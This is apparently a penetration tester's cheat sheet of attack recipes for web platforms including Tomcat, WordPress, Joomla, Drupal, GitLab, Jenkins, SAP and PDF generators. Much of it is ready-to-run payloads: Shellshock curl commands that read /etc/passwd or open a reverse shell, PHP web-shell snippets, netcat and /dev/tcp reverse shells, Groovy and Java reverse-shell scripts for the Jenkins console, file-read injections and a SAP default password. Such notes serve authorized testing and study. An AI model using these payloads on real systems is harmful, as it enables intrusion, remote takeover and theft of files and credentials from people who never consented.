Tomcat will threat the sequence **`/..;/`** as **`/../`** and normalize the path while reverse proxies will not normalize this sequence and send it to Apache Tomcat as it is.\
This allows an attacker to access Apache Tomcat resources that are not normally accessible via the reverse proxy mapping.

You can read more about this misconfiguration [**here**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)
{% endhint %}

For example, you might be able to access the Tomcat manager page by navigating to&#x20;

`www.example.com/blabla/..;/manager/html`

Another way to bypass protected paths using this trick is to access

`www.example.com/;param=value/manager/html`

{% hint style="danger" %}
**Notice that this misconfiguration might not always give you access to the Tomcat manager, as it was patched to only allow the same host to access it, as explained by the error message below:**

*By default the Host Manager is only accessible from a browser running on the same machine as Tomcat. If you wish to modify this restriction, you'll need to edit the Host Manager's context.xml file.*&#x20;
{% endhint %}

***

## **Unauthenticated LFI - GhostCat**

> * Only works if the `port 8009` is running the `AJP` service
> * Only allows to read files and folders within the `webapps` folder

**Follow these steps:**

1. Use <https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi>
2. PoC: `python2.7 tomcat-ajp.lfi.py test.example -p 8009 -f WEB-INF/web.xml`

***

## **Attacking Tomcat-CGI \[Windows]**

> 1. What is a CGI Servlet?
>    * A CGI Servlet is a program that runs on a web server to support the execution of external applications that conform to the CGI specification.
>    * It is a middleware between web servers and external information resources like databases
> 2. How does CVE-2019-0232 work?
>    * CVE-2019-0232 is a critical security issue that could result in remote code execution.
>    * Versions 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 of Tomcat are affected.
>    * This vulnerability affects Windows systems that have the `enableCmdLineArguments` feature enabled.
>    * An attacker can exploit this vulnerability by exploiting a command injection flaw resulting from a Tomcat CGI Servlet input validation error, allowing to execute arbitrary commands on the affected system.

**Follow these steps:**

* Find any `.cmd` or `.bat` file inside the `cgi directory` by `extension fuzzing`
* Fuzzing `.cmd`: `ffuf -w /usr/share/dirb/wordlists/common.txt -u http://test.example:8080/cgi/FUZZ.cmd`
* Fuzzing `.bat`: `ffuf -w /usr/share/dirb/wordlists/common.txt -u http://test.example:8080/cgi/FUZZ.bat`
* After finding one such file, append `&command` to gain RCE (example: welcome.bat)
* `http://test.example:8080/cgi/welcome.bat?&dir`
* `Troubleshooting`: specify the `absolute path to the command`, or alternatively you might need to use `URL Encoding`


# CGI Applications

## **Introduction**

> * A Common Gateway Interface (CGI) is used to help a web server render dynamic pages and create a customized response for the user making a request via a web application.
> * CGI applications are primarily used to access other applications running on a web server.
> * CGI is essentially middleware between web servers, external databases, and information sources.
> * CGI scripts and programs are kept in the `/CGI-bin` directory on a web server
> * Typically written in C, C++, Java, PERL, etc
> * CGI scripts run in the security context of the web server

***

## **CGI Applications - Shellshock \[CVE-2014-6271]**

> * The most well-known CGI attack is exploiting the Shellshock (aka, "Bash bug") vulnerability via CGI.
> * **Resource:** <https://nvd.nist.gov/vuln/detail/CVE-2014-6271>
> * **Affected Versions:** `GNU Bash up until version 4.3`
> * **Description:** Shellshock is a security flaw in the Bash shell that allows an attacker to `execute operating system commands that are included after a function stored inside an environment variable.`
> * **PoC Example:** `env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"`
>   * Nothing will happen when the environment variable is assigned a value
>   * If the target is vulnerable, whenever the environment variable is imported, the command `echo vulnerable-shellshock` will be executed
>   * If the target is NOT vulnerable, then the command `echo not vulnerable` will be executed

**Shellshock PoC to read any file:**\
`curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://target.com/cgi-bin/access.cgi`

**Shellshock PoC to gain a Reverse Shell:**\
`curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/your-ip/your-nc-port 0>&1' http://target.com/cgi-bin/access.cgi`


# WordPress

<table><thead><tr><th width="178">User Role</th><th>Description</th></tr></thead><tbody><tr><td>Administrator</td><td>Full Privileges - This user role is an interesting target due to his capability of managing plugins</td></tr><tr><td>Editor</td><td>Can publish and manage any user's posts - This user role is an interesting target due to his capability of managing plugins</td></tr><tr><td>Author</td><td>Can publish and manage their posts</td></tr><tr><td>Contributor</td><td>Can write and manage their own post, but he cannot publish them</td></tr><tr><td>Subscriber</td><td>Can view posts and manage/modify their profile</td></tr></tbody></table>

Getting access to an administrator is usually sufficient to obtain code execution on the server.\
Editors and authors might have access to certain vulnerable plugins, which normal users don’t.

***

## **WordPress Discovery/Footprinting**

**Manual Identification:**

* Check if the `robots.txt` file contains any wordpress entry
* Check if `/wp-admin`, `/wp-content`, `xmlrpc.php` or wordpress-related artifacts exist.
* Search the WP version inside the page source code:\
  `curl example.com | grep '<meta name="generator"'`
* Search the WP version inside the `css` or `js` files:\
  `curl example.com | grep '?ver='`
* Find the version inside `readme.html` (only works for old ones)

Identification using WPScan:

* `wpscan --url example.com --enumerate --api-token TOKENVALUE`

Plugins Enumeration:

* `curl -s -X GET https://example.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2`
* You can also try enumerating whether a plugin is in use by navigating to the plugin's directory and checking whether the web application redirects to the complete folder (via a 3XX redirect)\
  `curl -I -X GET http://example.com/wp-content/plugins/mail-masta` <- misses the last `/`&#x20;
* If the application answers with 3XX redirect, the plugin exists. If it answers with a 404, it does not.

{% hint style="info" %}
This technique allows you to find installed plugins, which could be deactivated.
{% endhint %}

Themes Enumeration:

* `curl -s -X GET https://example.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2`

***

## **User Enumeration**

Some versions of WordPress logins allow enumerating usernames due to verbose error messages stating whether a username is right or not.&#x20;

Alternative methods are:

1. Use the `?author=` GET parameter to check whether the page redirects you to a valid user's page:\
   `curl -s -I http://example.com/?author=1`
2. Check usernames inside the `wp-json` `users` file:\
   `curl http://example.com/wp-json/wp/v2/users | jq`

After you found a valid username, you can use `wpscan` to bruteforce a valid user's password:\
`sudo wpscan --password-attack xmlrpc -t 20 -U admin, sfoffo -P /usr/share/wordlists/rockyou.txt --url https://example.com`

{% hint style="danger" %}
Some WordPress instances may lock-out a user after few invalid attempts&#x20;
{% endhint %}

***

## **Admin User - Remote Code Execution**

> An aministrator account may edit PHP code in order to gain RCE.\
> Note: when editing an active theme or plugin you may encounter errors. Deactivate them first.

**The steps are the following:**

* **Semi-automatically, using `msfconsole`**:\
  `use exploit/unix/webapp/wp_admin_shell_upload`
* **Manually, by modifying a theme:**
  1. Login as administrator.\
     Navigate to: appearance → side panel → theme editor → select a theme
  2. Add the following to the theme: `system($_GET[0]);`
  3. Use the following URL to gain RCE: `http://example.test/wp-content/themes/THEMENAME/FILEPHPNAME.PHP?0=id`

***

## **WordPress Known Vulnerable Plugins**

1. **`Mail-Masta` allows LFI by using the following PoC:** `curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd`
2. `wpDiscuz` allows RCE by using the following PoC:
   * [ExploitDB](https://www.exploit-db.com/exploits/49967): `python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1`
   * if it fails, use `cURL` to execute commands using the uploaded web shell: `curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id`


# PDF Generators

Many web applications provide a PDF generation functionality which may contain dynamic user input.\
Some of these generators may be vulnerable due to HTML injection, allowing several attacks.

***

## PDF Library Enumeration

Determining the PDF generation library used by a web application may be pretty easy: most of them add information in the metadata of the generated file such as the library name and version.

To display the metadata of a PDF file, there are multiple options:

1. Read the Document properties from your browser's PDF viewer.
2. Use `exiftool example.pdf`
3. Use `pdfinfo example.pdf`

<figure><img src="/files/k2T9tiRfIdM86VJUA5wd" alt=""><figcaption><p>Reading a PDF file's metadata from Google Chrome</p></figcaption></figure>

***

## Server-Side XSS&#x20;

```
<b>test</b>
<script>document.write('example')</script>
<script>document.write(window.location)</script>
```

***

## SSRF

```
<img src="http://example.com"/>
<link rel="stylesheet" href="http://example.com">
<iframe src="http://example.com"></iframe>
```

## Local File Inclusion

#### Requiring JavaScript execution

```
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
<object data="file:///etc/passwd" width="800" height="500">
<portal src="file:///etc/passwd" width="800" height="500">
```

#### Without JavaScript execution

A better payload that requires JavaScript execution (and base64-decode) is:

```javascript
<script>
    function addNewlines(str) {
        var result = '';
        while (str.length > 0) {
            result += str.substring(0, 100) + '\n';
            str = str.substring(100);
        }
        return result;
    }

    x = new XMLHttpRequest();
    x.onload = function(){
        document.write(addNewlines(btoa(this.responseText)))
    };
    x.open("GET", "file:///etc/passwd");
    x.send();
</script>
```

#### Leveraging the Library's Features

**mPDF < 6.0.0 annotation tag:**\
`<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />`

**PD4ML attachment:**\
`<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>`


# Microsoft IIS

## **Introduction**

> * Internet Information Services (IIS) for Windows Server is a flexible, secure and manageable Web server for hosting anything on the Web.
> * From media streaming to web applications, IIS's scalable and open architecture is ready to handle the most demanding tasks.

***

## **Microsoft IIS Tilde Enumeration**

> * IIS tilde directory enumeration is a technique utilised to uncover hidden files, directories, and short file names on some versions of Microsoft Internet Information Services (IIS) web servers.
> * This method takes advantage of a specific vulnerability in IIS, resulting from how it manages short file names within its directories.
> * The tilde (`~`) character, followed by a sequence number, signifies a short file name in a URL.
> * Hence, if someone determines a file or folder's short file name, they can exploit the tilde character and the short file name in the URL to access sensitive data or hidden resources.
> * Assume the server contains a hidden directory named SecretDocuments.
> * When a request is sent to `http://example.com/~s`, the server replies with a `200 OK` status code, revealing a directory with a short name beginning with "s".
> * The enumeration process continues by appending more characters
> * Manually sending HTTP requests for each letter of the alphabet can be a tedious process.
> * Fortunately, there is a tool called `IIS-ShortName-Scanner` that can automate this task.

***

## **IIS Tilde Automatic Enumeration**

**IIS ShortName Scanner:**

* GitHub Resource: <https://github.com/irsdl/IIS-ShortName-Scanner>
* Note: to use `IIS-ShortName-Scanner`, you will need to install Oracle Java.
* Refer to: <https://ubuntuhandbook.org/index.php/2022/03/install-jdk-18-ubuntu/>

**Others:**

* <https://github.com/sw33tLie/sns>
* <https://github.com/bitquark/shortscan>
* <https://github.com/nemmusu/iis_gen> - Useful to generate ad-hoc custom wordlists containing filename guesses&#x20;


# WebDav

WebDAV (Web Distributed Authoring and Versioning) is a **protocol** that extends the HTTP protocol, allowing users to **collaboratively author and manage files** on a web server, enabling actions like creating, editing, moving, and deleting files remotely.

An HTTP Server with WebDav **might require valid credentials** to perform file operations, such as creating, deleting or editing existing files. The credentials are most probably required via **HTTP Basic Authentication**.

{% hint style="success" %}
**Notice: You will need to use the HTTP PUT, DELETE and MOVE verbs to respectively upload, delete and move files.**
{% endhint %}

{% hint style="warning" %}
**Sometimes, the WebDav instance might be configured to deny any file upload using specific file extensions. If this configuration is not properly set, you might be able to subvert it by uploading the file with any other accepted extension, and then using a move (rename) operation or a copy operation.**
{% endhint %}

***

## IIS5/6 WebDav Extension Bypass

In this specific setting, the WebDav instance won't allow uploading or renaming files with the `.asp` extension, but you can bypass this restriction by uploading a file as a `.txt` file and copy/move it to a `.asp;.txt` file. (Notice the `;`"is required, as it is the means for the bypass to work)

***

## Useful Tools

[DavTest](https://github.com/cldrn/davtest): An *automated* tool to perform several checks over the WebDav server

{% code overflow="wrap" %}

```bash
davtest -url http://<IP>
```

{% endcode %}

Be careful when using DavTest, as <mark style="color:red;">**its default configuration is to upload files**</mark> on the dav server!

***

[Cadaver](https://github.com/notroj/cadaver): A tool to connect to the WebDav server via CLI and perform standard WebDav actions *manually*

```bash
cadaver <IP>
```

***

## Finding Credentials inside an Apache Server

If the Webdav was using an Apache server which you have access to, you should look at configured sites in Apache.&#x20;You can find these credentials inside the following file:\
`/etc/apache2/sites-enabled/000-default`


# IBM WebSphere

WebSphere is a Java EE application server provided by IBM, used to deploy and manage enterprise-level Java applications.

## Discovery & Fuzzing

Fuzz for IBM WebSphere specific endpoints using this wordlist: <https://github.com/kkrypt0nn/wordlists/blob/main/wordlists/vulnerabilities/websphere.txt>

Fuzz for files with the following extensions:\
`*.do`&#x20;`*.jsp` `*.jsv`&#x20;`*.jsw`

***

## Missing Authorization in administrative servlets

You may find some interesting administrative endpoints lacking authentication.\
One particular endpoint is the `snoop` servlet, typically located at the server's webroot: `https://example.com/snoop/`

{% hint style="info" %}
IBM WebSphere contains several default servlets. Check them out here:\
<https://www.ibm.com/docs/en/was/8.5.5?topic=applications-default-application>
{% endhint %}

*`snoop`* is a diagnostic servlet that displays detailed information about incoming HTTP requests, including headers, parameters, session attributes, and environment details.

It’s intended for **debugging** and administration, and should not be exposed in production environments due to the amount of internal data it reveals.

***

### HTTPOnly cookie Theft via snoop (requires XSS)&#x20;

While uncommon, you may find that the `snoop` servlet lacks authentication. In that case, you can chain it with an XSS vulnerability (if present) to gain access to any user's session cookies.&#x20;

In particular, the `snoop` endpoint prints back the request's headers, i**ncluding cookies with HTTPOnly set**, just like an `HTTP TRACE` request.

By leveraging this mechanism, you can read the user's session cookie inside the snoop response body and access the web application with it.


# SAP Netweaver

## Introduction

SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management.

The product is marketed as a service-oriented architecture for enterprise application integration.

It can be used for custom development and integration with other applications and systems, and is built primarily using the ABAP programming language, but also uses C, C++, and Java.

It can also be extended with, and interoperate with, technologies such as Microsoft .NET, Java EE, and IBM WebSphere.

***

## Discovery

You can use Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:

```
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```

You can also use `gobuster`, `ffuf` and `BurpSuiteIntuder` to scan for files and directory using the following wordlists:

* <https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/sap.txt>
* <https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/URLs/urls-SAP.txt>
* <https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/CMS/SAP.fuzz.txt>
* <https://raw.githubusercontent.com/chudyPB/sap-wordlist/master/sap-ultimate.txt>

***

A typical SAP logon screen ([http://SAP:50000/irj/portal](http://sap:50000/irj/portal)) looks like the following:

<figure><img src="/files/2ffubWye7WOowx0x4A3a" alt=""><figcaption><p>SAP Login Page</p></figcaption></figure>

***

## Potential information goldmine paths

* Try `/irj/go/km/navigation/` for possible `directory listing`\
  or `authentication bypass`
* [http://SAP/sap/public/info](http://sap/sap/public/info) contains some juicy information

***

## Default Credentials

Each SAP instance is divided into clients.\
Each one has a user SAP\*, the application’s equivalent of “root”.\
Upon initial creation, this user SAP\* gets a default password: “060719992”

***

## Known RCE Exploit

Try to use some known exploits (check out Exploit-DB) or attacks like the [SAP ConfigServlet Remote Code Execution](https://www.exploit-db.com/exploits/24963):

```
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```


# Joomla

## **Introduction**

> * CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more.
> * Written in PHP and uses MySQL in the backend.

***

## **Joomla Discovery/Footprinting**

| Command                                                                                                 | Description                                                                                   |
| ------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
| `droopescan scan joomla --url http://dev.inlanefreight.local`                                           | Enumeration via `droopescan`                                                                  |
| `python2.7 joomlascan.py -u http://dev.inlanefreight.local`                                             | Enumeration via `joomlascan.py`                                                               |
| `curl -s http://dev.inlanefreight.local/ \| grep Joomla`                                                | Check Webpage Source                                                                          |
| `curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml \| xmllint --format -` | Some Joomla versions may be fingerprinted from this file                                      |
| Browse to `http://dev.inlanefreight.local/plugins/system/cache/cache.xml`                               | The `cache.xml` file can give out an `approximate version` of Joomla                          |
| Browse to `http://dev.inlanefreight.local/media/system/js/`                                             | Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder |
| Browse to `http://blog.inlanefreight.local/robots.txt`                                                  | Check for references to Joomla                                                                |
| Browse to `http://dev.inlanefreight.local/README.txt`                                                   | Check the README file to look for references to Joomla                                        |

***

## **Joomla Users and Login Bruteforcing**

* **Administrator account:**\
  The default administrator account is admin, but the **password is set at install time**
* You can perform login broteforce by using the following: <https://github.com/ajnik/joomla-bruteforce>
* PoC: `sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin`

***

## **Joomla Known Vulnerabilities**

1. **PHP TEMPLATE CODE INJECTION TO RCE \[Requires Admin Account]**
   * The basic idea is to add PHP code inside a template
   * Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload:
   * `system($_GET['cmd']);`
   * `curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id`
2. **Joomla 3.9.4 directory traversal** [**CVE-2019-10945**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945)
   * Exploit 1: <https://www.exploit-db.com/exploits/46710>
   * Exploit 2: <https://github.com/dpgg101/CVE-2019-10945>


# Drupal

## **Introduction**

> * Drupal is Written in PHP, supports MySQL or PostgreSQL for the backend. SQLite can be used if there's no DBMS installed.
> * Drupal indexes its content using nodes.
> * A node can hold anything such as a blog post, poll, article, etc.
> * The page URIs are usually of the form `/node/<nodeid>`

***

## **Drupal Discovery/Footprinting**

| Command                                                     | Description                               |
| ----------------------------------------------------------- | ----------------------------------------- |
| \`curl -s <http://drupal.inlanefreight.local>               | grep Drupal\`                             |
| Browse to <http://drupal.inlanefreight.local/CHANGELOG.txt> | Check for istances of Drupal              |
| Browse to <http://drupal.inlanefreight.local/README.txt>    | Check for istances of Drupal              |
| Browse to <http://drupal.inlanefreight.local/robots.txt>    | Check for istances of Drupal or its nodes |

***

## **Attacking Drupal versions prior to version 8 \[PHP Filter Module]**

> * In Drupal versions prior to 8, it's possible to login as an admin to enable the PHP Filter Module
> * The PHP Filter Module basically allows PHP code to **always** be executed

**Follow these steps:**

1. After enabling the module, navigate to Content → Basic Page
2. Add the following RCE payload: `<?phpsystem($_GET['cmd']); ?>`
3. Note: toggle `text format` → `php code` in the options below
4. Gain RCE: `curl -s http://drupal-qa.inlanefreight.local/node/3?cmd=id \| grep uid \| cut -f4 -d">"`

***

## **Attacking Drupal version after version 8 \[PHP Filter Module]**

**Follow these steps:**

1. Download the PHP Filter Module: `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
2. Once downloaded go to Administration → Reports → Available updates\`.
3. Click on Browse → Select the file → Install.
4. Follow the same steps as described above (same as drupal version prior to 8)

***

## **Drupalgeddon \[Drupal RCE Vulnerabilities]**

> Over the years, Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed Drupalgeddon.

| CVE                            | Versions                         | Description                                                                                                         |
| ------------------------------ | -------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| CVE-2014-3704 \[Drupalgeddon]  | versions 7.0 up to 7.31          | Pre-authenticated SQL injection that could be used to upload a malicious form or create a new admin user            |
| CVE-2018-7600 \[Drupalgeddon2] | versions prior to 7.58 and 8.5.1 | Insufficient input sanitization during user registration, allowing system-level commands to be maliciously injected |
| CVE-2018-7602 \[Drupalgeddon3] | versions 7.x and 8.x             | This **authenticated** flaw exploits improper validation in the Form API                                            |

### **Proof of Concept to exploit these vulnerabilities:**

1. Drupalgeddon: <https://www.exploit-db.com/exploits/34992> or `exploit/multi/http/drupal_drupageddon` Metasploit module
2. Drupalgeddon2: <https://www.exploit-db.com/exploits/44448>\
   Usage:
   * Run the PoC without edits to check if the vulnerability exists
   * To gain RCE, first encode the PHP payload: `echo '<?php system($_GET[cmd]);?>' | base64`
   * Edit the `echo line in the PoC` as follows: `echo "BASE64OUTPUT" | base64 -d | tee shell.php`
   * Run the script: `python3 drupalgeddon2.py`
   * Gain RCE: `curl http://drupal-dev.inlanefreight.local/shell.php?cmd=id`
3. Drupalgeddon3: <https://github.com/rithchard/Drupalgeddon3> or <https://www.exploit-db.com/exploits/44557/>


# Gitlab

## **Introduction**

> * GitLab is an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more.
> * There's not much we can do against GitLab without knowing the version number or being logged in.
> * In some cases, you can register a user accoun without admin confirmation

***

## **GitLab Footprinting & Enumeration**

* There's not much we can do against GitLab without knowing the version number or being logged in.
* The only way to footprint the GitLab `version number` in use is by browsing to the `/help` page when logged in.
* Some GitLab istances may `allow user registration` without confirmation from an administrator
* Authenticated: browsing to `/explore` we can check for any `public projects` that may contain something interesting

***

## **GitLab User Enumeration**

* We can enumerate valid (used) usernames by using the registration form error messages
* Resources (PoCs for enumerating users):
  * <https://www.exploit-db.com/exploits/49821>
  * <https://github.com/dpgg101/GitLabUserEnum>

***

## **GitLab Authenticated RCE**

* **Affected version:** `13.10.2`
* **Exploit:** <https://www.exploit-db.com/exploits/49951>
* **PoC Usage:**\
  `python3 gitlab_13_10_2_rce.py -t http://gitlab.test.example:8081 -u user -p password -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your-ip your-nc-port >/tmp/f '`


# Jenkins

## **Introduction**

> * Jenkins is a continuous integration server.
> * Jenkins runs on Tomcat port 8080 by default
> * The default installation typically uses Jenkins’ database to store credentials and does not allow users to register an account.
> * Jenkins if often inside internal networks
> * Jenkins is often installed on Windows servers running as the SYSTEM account.
> * If we can gain access via Jenkins and gain remote code execution as the SYSTEM account, we would have a foothold in Active Directory to begin enumeration of the domain environment.
> * It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test
> * We can fingerprint Jenkins quickly by the telltale login page.

***

## **Jenkins Script Console RCE \[Authenticated]**

> * After gaining access to a Jenkins application, you can navigate to the script console: `http://jenkins.test.example:8000/script`
> * The script console allows us to run arbitrary Groovy scripts within the Jenkins controller runtime.
> * This can be abused to run operating system commands on the underlying server.

**Linux PoC Script:**

* MSFConsole: `use exploit/multi/http/jenkins_script_console`
* Reverse shell:

  ```
  r = Runtime.getRuntime()
  p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/your-attacker-ip/your-nc-port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  p.waitFor()
  ```

**Windows PoC Script:**

* Reverse shell:

  ```
  String host="your-attacker-ip";
  int port=your-nc-port;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
  ```


# Fuzzing

## **Introduction**

> Fuzz testing or Fuzzing is a software testing technique which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion. Fuzzing techniques can also be used to discover vhosts, subdomains and web content

## **Web Application Content Fuzzing**

| Command                                                                                                         | Description       |
| --------------------------------------------------------------------------------------------------------------- | ----------------- |
| ffuf -w wordlist.txt:FUZZ -u <http://SERVER\\_IP:PORT/FUZZ>                                                     | Directory Fuzzing |
| gobuster dir -u [https://server:port](https://notes.sfoffo.com/web-applications/https:/server:port) -w wordlist | Directory Fuzzing |
| ffuf -w wordlist.txt:FUZZ -u <http://SERVER\\_IP:PORT/indexFUZZ>                                                | Extension Fuzzing |
| ffuf -w wordlist.txt:FUZZ -u <http://SERVER\\_IP:PORT/blog/FUZZ.php>                                            | Page Fuzzing      |
| ffuf -w wordlist.txt:FUZZ -u <http://SERVER\\_IP:PORT/FUZZ> -recursion -recursion-depth 1 -e .php -v            | Recursive Fuzzing |

## **Sub-Domain Fuzzing**

| Command                                                 | Description        |
| ------------------------------------------------------- | ------------------ |
| ffuf -w wordlist.txt:FUZZ -u <https://FUZZ.server.com/> | Sub-domain Fuzzing |
| gobuster dns -d example.com -w wordlists.txt            | Sub-domain Fuzzing |

## **VHost Fuzzing**

| Command                                                                                                                                                       | Description                         |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------- |
| ffuf -w wordlist.txt:FUZZ -u [http://academy.htb:PORT/](https://notes.sfoffo.com/web-applications/http:/academy.htb:PORT) -H 'Host: FUZZ.academy.htb' -fs xxx | VHost Fuzzing                       |
| gobuster vhost -u [https://example:port](https://notes.sfoffo.com/web-applications/https:/example:port) -w wordlist                                           | Gobuster VHost Fuzzing              |
| gobuster vhost --url test.example --wordlist /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain                      | Better way - Gobuster Vhost Fuzzing |

## **HTTP GET/POST Parameter Fuzzing**

| Command                                                                                                                                                                                                                                   | Description              |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------ |
| ffuf -w wordlist.txt:FUZZ -u [http://server.com:PORT/admin/admin.php?FUZZ=key](https://notes.sfoffo.com/web-applications/http:/server.com:PORT/admin/admin.php?FUZZ=key) -fs xxx                                                          | Parameter Fuzzing - GET  |
| ffuf -w wordlist.txt:FUZZ -u [http://server.com:PORT/admin/admin.php](https://notes.sfoffo.com/web-applications/http:/server.com:PORT/admin/admin.php) -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx | Parameter Fuzzing - POST |
| ffuf -w ids.txt:FUZZ -u [http://server.com:PORT/admin/admin.php](https://notes.sfoffo.com/web-applications/http:/server.com:PORT/admin/admin.php) -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx       | Parameter Value Fuzzing  |

***

## **Path traversal/File Inclusion Fuzzing**

| Command                                                                                                                                         | Description                |
| ----------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------- |
| ffuf -w /path-to/burp-parameter-names.txt:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?FUZZ=value' -fs 2287                                        | Fuzz page parameters       |
| ffuf -w /path-to/LFI-Jhaddix.txt:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?language=FUZZ' -fs 2287                                              | Fuzz LFI payloads          |
| ffuf -w /path-to/default-web-root-directory-linux.txt:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?language=../../../../FUZZ/index.php' -fs 2287\` | Fuzz webroot path          |
| ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?language=../../../../FUZZ' -fs 2287                                      | Fuzz server configurations |


# Information Gathering

## **Passive Information Gathering & OSINT**

* These techniques refer to gaining information from publicly available sources
* By doing so, the attacker gains information about the target, without any type of active scanning
* This ensures that the target will never be aware that we are obtaining information about it, since there is no form of direct interaction

External Resources:

1. <https://www.cheatsheet.wtf/OSINT/>
2. <https://www.compass-security.com/fileadmin/Research/White_Papers/2017-01_osint_cheat_sheet.pdf>
3. <https://bigdata-ir.com/wp-content/uploads/2021/02/OSINT_Packet_2019.pdf>

***

### Google Dorks

Google can be a powerful tool for penetration testing and bug-bounty hunting.\
Google's crawling capabilities can help us find exposed files, scripts and other critical resources in web applications.

This [blogpost](https://www.freecodecamp.org/news/google-dorking-for-pentesters-a-practical-tutorial/) can be useful if you need to learn more about google dorks.

You can also refer to the following:

* <https://www.exploit-db.com/google-hacking-database>
* <https://pentest-tools.com/information-gathering/google-hacking>

<details>

<summary>Generic Queries</summary>

`site:*.target.com intext:uncaught`

`site:*.target.com intext:error`

`site:*.target.com intext:parameter`

`site:*.target.com intext:missing`

`site:*.target.com intext:"stack trace"`

`site:*.target.com intext:php`

`site:*.target.com intext:jsp`

`site:*.target.com intext:asp`

`site:*.target.com intext:include_path`

`site:*.target.com intext:undefined`

`site:*.target.com intext:sql`

`site:*.target.com intext:invalid`

`site:*.target.com intext:exception`

`site:*.target.com intext:fatal`

`site:*.target.com intext:CONFIG`

`site:*.target.com intext:login`

`site:*.target.com intitle:"index of"`

`site:*.target.com inurl:prod`

`site:*.target.com inurl:&`

`site:*.target.com inurl:dev`

`site:*.target.com inurl:staging`

`site:*.target.com inurl:stg`

`site:*.target.com inurl:debug`

`site:*.target.com inurl:admin`

`site:*.target.com inurl:internal`

</details>

<details>

<summary>Apache Services</summary>

`site:*.target.com intitle:"apache tomcat/"`

`site:*.target.com "Apache Tomcat examples"`

`site:*.target.com intext:"apache"`

`site:*.target.com intitle:"Solr Admin"`

`site:*.target.com intext:"This is the default welcome page used to test the correct operation of the Apache2 server"`

`site:*.target.com intitle:"index of" "powered by apache "`

`site:*.target.com intext:"Apache server status for"`

`site:*.target.com intitle:"Apache2 Ubuntu Default Page: It works"`

`site:*.target.com intitle:"WAMPSERVER homepage" "Server Configuration" "Apache Version"`

`site:*.target.com intitle:"Test Page for the Apache HTTP Server"`

</details>

<details>

<summary>Files</summary>

`site:*.target.com ext:txt`

`site:*.target.com ext:php`

`site:*.target.com ext:php5`

`site:*.target.com ext:phtml`

`site:*.target.com ext:xhtml`

`site:*.target.com ext:key`

`site:*.target.com ext:pem`

`site:*.target.com ext:ovpn`

`site:*.target.com ext:log`

`site:*.target.com ext:asp`

`site:*.target.com ext:aspx`

`site:*.target.com ext:jsp`

`site:*.target.com ext:dat`

`site:*.target.com ext:ovpn`

`site:*.target.com ext:yml`

`site:*.target.com ext:bak`

`site:*.target.com ext:zip`

